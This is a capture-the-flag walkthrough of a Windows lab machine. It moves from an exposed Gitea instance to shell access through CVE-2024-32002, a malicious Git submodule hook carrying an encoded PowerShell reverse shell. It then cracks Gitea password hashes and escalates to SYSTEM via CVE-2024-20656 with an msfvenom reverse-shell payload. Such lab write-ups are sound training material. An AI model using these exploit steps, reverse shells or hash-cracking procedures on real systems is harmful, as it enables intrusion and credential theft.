Machine Card listing Compiled as a medium Windows box

Reconnaissance

3000/tcp open  ppp?
| fingerprint-strings:
|   GenericLines, Help, RTSPRequest:
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest:
|     HTTP/1.0 200 OK
|     Cache-Control: max-age=0, private, must-revalidate, no-transform
|     Content-Type: text/html; charset=utf-8
|     Set-Cookie: i_like_gitea=662a0c3fa82abb38; Path=/; HttpOnly; SameSite=Lax
|     Set-Cookie: _csrf=qk-ro2dldVGXBBiSSrHpGzbH72U6MTcyMjI3NzQ2MjIwNTI2NTAwMA; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax
|     X-Frame-Options: SAMEORIGIN
|     Date: Mon, 29 Jul 2024 18:24:22 GMT
|     <!DOCTYPE html>
|     <html lang="en-US" class="theme-arc-green">
|     <head>
|     <meta name="viewport" content="width=device-width, initial-scale=1">
|     <title>Git</title>
|     <link rel="manifest" href="data:application/json;base64,eyJuYW1lIjoiR2l0Iiwic2hvcnRfbmFtZSI6IkdpdCIsInN0YXJ0X3VybCI6Imh0dHA6Ly9naXRlYS5jb21waWxlZC5odGI6MzAwMC8iLCJpY29ucyI6W3sic3JjIjoiaHR0cDovL2dpdGVhLmNvbXBpbGVkLmh0YjozMDAwL2Fzc2V0cy9pbWcvbG9nby5wbmciLCJ0eXBlIjoiaW1hZ2UvcG5nIiwic2l6ZXMiOiI1MTJ4NTEyIn0seyJzcmMiOiJodHRwOi8vZ2l0ZWEuY29tcGlsZWQuaHRiOjMwMDA
|   HTTPOptions:
|     HTTP/1.0 405 Method Not Allowed
|     Allow: HEAD
|     Allow: HEAD
|     Allow: GET
|     Cache-Control: max-age=0, private, must-revalidate, no-transform
|     Set-Cookie: i_like_gitea=ff86c954256a5e2c; Path=/; HttpOnly; SameSite=Lax
|     Set-Cookie: _csrf=0dvKcpU_MiMjic9cZPF-3gZSipw6MTcyMjI3NzQ2NzQyNDAwMDUwMA; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax
|     X-Frame-Options: SAMEORIGIN
|     Date: Mon, 29 Jul 2024 18:24:27 GMT
|_    Content-Length: 0
5000/tcp open  upnp?
| fingerprint-strings:
|   HTTPOptions:
|     HTTP/1.1 200 OK
|     Server: Werkzeug/3.0.3 Python/3.12.3
|     Date: Mon, 29 Jul 2024 18:24:48 GMT
|     Content-Type: text/html; charset=utf-8
|     Allow: POST, GET, HEAD, OPTIONS
|     Content-Length: 0
|     Connection: close
|   Help:
|     <!DOCTYPE HTML>
|     <html lang="en">
|     <head>
|     <meta charset="utf-8">
|     <title>Error response</title>
|     </head>
|     <body>
|     <h1>Error response</h1>
|     <p>Error code: 400</p>
|     <p>Message: Bad request syntax ('HELP').</p>
|     <p>Error code explanation: 400 - Bad request syntax or unsupported method.</p>
|     </body>
|     </html>
|   SSLSessionReq:
|     <!DOCTYPE HTML>
|     <html lang="en">
|     <head>
|     <meta charset="utf-8">
|     <title>Error response</title>
|     </head>
|     <body>
|     <h1>Error response</h1>
|     <p>Error code: 400</p>
|     <p>Message: Bad request syntax ('
|     &lt;=
|     ').</p>
|     <p>Error code explanation: 400 - Bad request syntax or unsupported method.</p>
|     </body>
|     </html>
|   TerminalServerCookie:
|     <!DOCTYPE HTML>
|     <html lang="en">
|     <head>
|     <meta charset="utf-8">
|     <title>Error response</title>
|     </head>
|     <body>
|     <h1>Error response</h1>
|     <p>Error code: 400</p>
|     <p>Message: Bad HTTP/0.9 request type ('
|     Cookie:').</p>
|     <p>Error code explanation: 400 - Bad request syntax or unsupported method.</p>
|     </body>
|_    </html>
5985/tcp open  http       Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
7680/tcp open  pando-pub?

The nmap scan only identified four ports, a HTTP server on 3000 hosting Gitea and another one on port 5000. WinRM on 5985 and an unknown port 7680 (possibly related to Delivery Optimization1).

HTTP

Gitea

The Gitea installation on port 3000 has the Explore feature enabled so I find two repositories of the user richard, namely Compiled and Calculator.

Screenshot of Gitea showing two repositories of user richard

The Compiled repository shows the source code for a Code Compiling Service written in Python. Apparently it does run on port 5000 and accepts a valid URL (starting with http:// and ending with .git) to clone the repository and compile the code. Support for C++, C# and .NET is mentioned. This could be the service that’s actually running on the other HTTP port.

Screenshot of the README in the Compiled repository mentioning cloning of repositories and the compilation of code

There’s only app.py with a rudimentary Flask server that takes input and writes that to a file. The cloning and compilation is missing entirely.

app.py
from flask import Flask, request, render_template, redirect, url_for
import os
 
app = Flask(__name__)
 
# Configuration
REPO_FILE_PATH = r'C:\Users\Richard\source\repos\repos.txt'
 
@app.route('/', methods=['GET', 'POST'])
def index():
    error = None
    success = None
    if request.method == 'POST':
        repo_url = request.form['repo_url']
        if # Add a sanitization to check for valid Git repository URLs.
            with open(REPO_FILE_PATH, 'a') as f:
                f.write(repo_url + '\n')
            success = 'Your git repository is being cloned for compilation.'
        else:
            error = 'Invalid Git repository URL. It must start with "http://" and end with ".git".'
    return render_template('index.html', error=error, success=success)
 
if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000)

The second repository Calculator is a sample program written in C++. Even though the repo contains several commits, no secrets were exposed. The README mentions installation steps that refer to git version 2.45.0.windows.1 and also contains a domain name: gitea.compiled.htb. I add this and the second-level domain to my /etc/hosts file.

Compiled

The application listening on port 5000 seems to be based upon the code within the Compiled repository. There’s one input field expecting a Git Repository URL.

Screenshot of the application running on port 5000. A one-stop solution for code compiling excepting a link to a Git repository

In order to check if the application actually reaches out, I’ll submit a link to my box http://10.10.10.10/ryuki.git after firing up a listener on port 80. The message Your git repository is being cloned for compilation. suggests a positive result and a few moments later I do receive a callback.

nc -lnvp 80
listening on [any] 80 ...
connect to [10.10.10.10] from (UNKNOWN) [10.129.255.140] 62745
GET /ryuki.git/info/refs?service=git-upload-pack HTTP/1.1
Host: 10.10.10.10
User-Agent: git/2.45.0.windows.1
Accept: */*
Accept-Encoding: deflate, gzip, br, zstd
Pragma: no-cache
Git-Protocol: version=2

Submitting a presumably valid repository like http://gitea.compiled.htb:3000/richard/Calculator.git shows the same message but nothing else happens. Either the compilation is not implement yet or the result page is just missing.

Execution

The callback confirmed the Git version in use to be git/2.45.0.windows.1 and that seems fairly recent2. Searching for known exploits finds CVE-2024-32002, a remote code execution via git clone3.
There’s a blog post going over the details. A repository containing a submodule can be built in a way that a file is written into the .git directory via a symlink. This allows adding a hook to the repository while the clone operation is still running and leading to the execution of said hook.

The blog post includes a PoC, but in order to use it I have to set up two Git repositories. I can either host them myself or create an account on the Gitea instance. I use the latter and create two public repositories hook and captain.

Screenshot showin an account on Gitea with two repositories captain and hook

Now I just need to create some local repositories with the exploit and push them to Gitea.
First I create the hook repository that just contains the hook to be executed. For that I initialize an empty repository, create a folder hosting the hooks (y/hooks) and add a post-checkout containing a base64 encoded payload for a reverse shell.

# Create the hook repository
git init hook && cd hook
 
# Create folder for the hooks
mkdir --parents y/hooks
 
# Add base64 encoded reverse shell
cat > y/hooks/post-checkout << EOF
#!/bin/sh
exec powershell.exe -ExecutionPolicy Bypass -NoProfile -Encoding <BASE64>
EOF

Adding the newly created files to the version control, I commit the changes and push the code to Gitea.

# Add all files to git
git add -A .
 
# Commit the changes
git commit -m "add hook"
 
# Add the remote repository
git remote add origin http://gitea.compiled.htb:3000/ryuki/hook.git
 
# Push to Gitea
git push -u origin main
Username for 'http://gitea.compiled.htb:3000': ryuki
Password for 'http://ryuki@gitea.compiled.htb:3000': 
Enumerating objects: 5, done.
Counting objects: 100% (5/5), done.
Delta compression using up to 8 threads
Compressing objects: 100% (2/2), done.
Writing objects: 100% (5/5), 940 bytes | 940.00 KiB/s, done.
Total 5 (delta 0), reused 0 (delta 0), pack-reused 0
remote: . Processing 1 references
remote: Processed 1 references in total
To http://gitea.compiled.htb:3000/ryuki/hook.git
 * [new branch]      main -> main
branch 'main' set up to track 'origin/main'

With the code needed for the submodule uploaded to Gitea, I’m creating the repository for captain next. After initializing another empty repository I add the submodule I’ve uploaded already to the repository and commit the changes. Next I update the git-index with a symlink to the .git folder. Then I add the remote and push the code.

# Create the captain repository
git init captain && cd captain
 
# Add the submodule
git submodule add --name x/y http://gitea.compiled.htb:3000/ryuki/hook.git A/modules/x
 
# Commit the change
git commit -m "add submodule"
 
# Add symlink to .git and update-index
printf ".git" > dotgit.txt
git hash-object -w --stdin < dotgit.txt > dot-git.hash
printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" > index.info
git update-index --index-info < index.info
 
# Commit the change
git commit -m "add symlink"
 
# Add the remote repository
git remote add origin http://gitea.compiled.htb:3000/ryuki/captain.git
 
# Push to Gitea
git push -u origin main

Both repositories are in-place now, so I can proceed with the the exploitation. Setting up a local listener and supplying the link to my repository (http://gitea.compiled.htb:3000/ryuki/captain.git) to the web application on port 5000. Waiting a few moments and I receive a callback on my listener as user Richard.

rlwrap -cAr nc -lnvp 9001
listening on [any] 9001 ...
connect to [10.10.10.10] from (UNKNOWN) [10.129.255.140] 62758
 
PS C:\Users\Richard\source\cloned_repos\jzv9m\.git\modules\x> whoami
Richard

Privilege Escalation

Shell as Emily

After getting foothold on the machine I look around to find interesting information. The user Richard does not have access to the first flag and there is another user according to the home directory: Emily. Additionally I do not have a password yet, therefore I check the database of gitea in C:\Program Files\Gitea\data\gitea.db, that I transfer to my machine in order to examine it further with sqlite3. There’s a table called users containing the users, hashes and the hash function that was used.

SELECT name, passwd, salt, passwd_hash_algo FROM user;
administrator|1bf0a9561cf076c5fc0d76e140788a91b5281609c384791839fd6e9996d3bbf5c91b8eee6bd5081e42085ed0be779c2ef86d|a45c43d36dce3076158b19c2c696ef7b|pbkdf2$50000$50
richard|4b4b53766fe946e7e291b106fcd6f4962934116ec9ac78a99b3bf6b06cf8568aaedd267ec02b39aeb244d83fb8b89c243b5e|d7cf2c96277dd16d95ed5c33bb524b62|pbkdf2$50000$50
emily|97907280dc24fe517c43475bd218bfad56c25d4d11037d8b6da440efd4d691adfead40330b2aa6aaf1f33621d0d73228fc16|227d873cca89103cd83a976bdac52486|pbkdf2$50000$50
ryuki|15ad0d65fae2a952ed32875b8d68008b4caecf0a3ece3a19172322781f2dd388dddcf3d31b3ba1b7cf879cfaf19634222613|827fa11dc057de8e3c30ee59f40ecaeb|pbkdf2$50000$50

The hashcat mode to be used is 109004 but the values have to be converted from hex to base64 and then filled into sha256:50000:<base64 salt>:<base64 hash>.

sha256:50000:pFxD023OMHYVixnCxpbvew==:G/CpVhzwdsX8DXbhQHiKkbUoFgnDhHkYOf1umZbTu/XJG47ua9UIHkIIXtC+d5wu+G0=
sha256:50000:188slid90W2V7Vwzu1JLYg==:S0tTdm/pRufikbEG/Nb0lik0EW7JrHipmzv2sGz4Voqu3SZ+wCs5rrJE2D+4uJwkO14=
sha256:50000:In2HPMqJEDzYOpdr2sUkhg==:l5BygNwk/lF8Q0db0hi/rVbCXU0RA32LbaRA79TWka3+rUAzCyqmqvHzNiHQ1zIo/BY=
sha256:50000:gn+hHcBX3o48MO5Z9A7K6w==:Fa0NZfriqVLtModbjWgAi0yuzwo+zjoZFyMieB8t04jd3PPTGzuht8+HnPrxljQiJhM=

Running hashcat takes a few minutes and one password cracks, corresponding to user Emily:12345678. The user is part of the Remote Management Users meaning I can use evil-winrm to login and collect the first flag.

Shell as Administrator

As emily I’ll run winPEAS to check for possible attack vectors. The history shows references to services.msc and apparently there’s an unusual binary found, accessible to all users, MofCompiler.exe.

.\winPEASx64.exe

--- SNIP ---
ÉÍÍÍÍÍÍÍÍÍ͹ Recently run commands
    a: cmd\1
    MRUList: eafcdb
    b: powershell\1
    c: control\1
    d: services.msc\1
    e: taskschd.msc\1
    f: %temp%\1


--- SNIP ---
ÉÍÍÍÍÍÍÍÍÍ͹ Searching executable files in non-default folders with write (equivalent) permissions (can be slow)
     --- SNIP ---
     File Permissions "C:\Users\All Users\Microsoft\VisualStudio\SetupWMI\MofCompiler.exe": Authenticated Users [WriteData/CreateFiles]
     --- SNIP ---

Searching for known exploits eventuall finds this blog post. It goes into detail on what’s happening and there are several PoCs on Github. Since that exploit needs to be compiled, I head over to my Windows VM where I go Visual Studio 2019 and the necessary tools to compile C++.

Info

Cloning and opening the SLN file in Visual Studio should prompt the installation of needed tools.

The exploit won’t work out of the box because it actually targets Visual Studio 2022 as denoted by WCHAR cmd[] at the beginning of main.cpp. The actual needed path can be easily identified through browsing the filesystem, it’s located in Program Files (x86) and 2019 is installed. The actual payload is located within the function cb1() and copies (and spawns) a cmd. Since I do not have a GUI interface, popping up a shell as another user won’t really help me. Instead of cmd I do generate a simple payload with msfvenom to be used instead of cmd.exe.

void cb1()
{
    printf("[*] Oplock!\n");
    while (!Move(hFile2)) {}
    printf("[+] File moved!\n");
    CopyFile(L"c:\\windows\\system32\\cmd.exe", L"C:\\ProgramData\\Microsoft\\VisualStudio\\SetupWMI\\MofCompiler.exe", FALSE);
    finished = TRUE;
}

After changing cmd[] to reflect the actual path on Compiled and the function cb1() to copy C:\\tools\\shell.exe, I change the target to Release and build the solution. Next I transfer the exe to my Kali machine and then to the target.

Screenshot of the exploit code in Visual Studio 2019 with the target set to Release

# Preparing the shell.exe that gets called by the exploit
msfvenom -p windows/shell_reverse_tcp lhost=10.10.10.10 lport=8888 -f exe > shell.exe
 
nc -lnvp 8888

Uploading the compiled executable Expl.exe and the generated shell.exe to the target and executing the exploit does unfortunately does not return a reverse shell but an error messageregarding the Windows Installer Service.

The Windows Installer Service could not be accessed. This can occur if the Windows Installer is not correctly installed. Contact your support personnel for assistance.
 
[+] Junction \\?\C:\31c3d3c8-726b-465d-a718-43e8a1d82b0b -> \??\C:\dce6690d-2e3c-49a7-9157-c365c7f2d5aa created!
[+] Symlink Global\GLOBALROOT\RPC Control\Report.0197E42F-003D-4F91-A845-6404CF289E84.diagsession -> \??\C:\Programdata created!
[+] Junction \\?\C:\31c3d3c8-726b-465d-a718-43e8a1d82b0b -> \RPC Control created!
[+] Junction \\?\C:\31c3d3c8-726b-465d-a718-43e8a1d82b0b -> \??\C:\dce6690d-2e3c-49a7-9157-c365c7f2d5aa created!
[+] Symlink Global\GLOBALROOT\RPC Control\Report.0297E42F-003D-4F91-A845-6404CF289E84.diagsession -> \??\C:\Programdata\Microsoft created!
[+] Junction \\?\C:\31c3d3c8-726b-465d-a718-43e8a1d82b0b -> \RPC Control created!
[+] Persmissions successfully reseted!
[*] Starting WMI installer.
[*] Command to execute: C:\windows\system32\msiexec.exe /fa C:\windows\installer\8ad86.msi

Trying to query or even start the Windows Installer Service msiserver only returns Access Denied via WinRM. That’s unfortunately a common issue with shells via WinRM, so RunasCS to the rescue.

.\RunasCS.exe Emily 12345678 "cmd /c sc start msiserver"
 
SERVICE_NAME: msiserver
        TYPE               : 10  WIN32_OWN_PROCESS
        STATE              : 2  START_PENDING
                                (NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x1
        WAIT_HINT          : 0x7530
        PID                : 2332
        FLAGS              :

For good measure I also run the exploit through RunasCs and after a short while, I get a callback on the listener as nt authority\system and can collect the final flag.

Attack Path

flowchart TD

subgraph "Initial Access"
    A(Gitea) -->|Public Code|B(Source Code for Application on port 5000)
end

subgraph "Execution"
    B -->|CVE-2024-32002|C(Shell as Richard)
end

subgraph "Privilege Escalation"
    C -->|Hashes in Gitea Database|D(Credentials for Emily)
    D -->|CVE-2024-20656|E(Shell as SYSTEM) 
end
    

Footnotes

  1. Delivery Optimization

  2. Git v2.45.0

  3. Advisory for CVE-2024-32002

  4. hashcat example hashes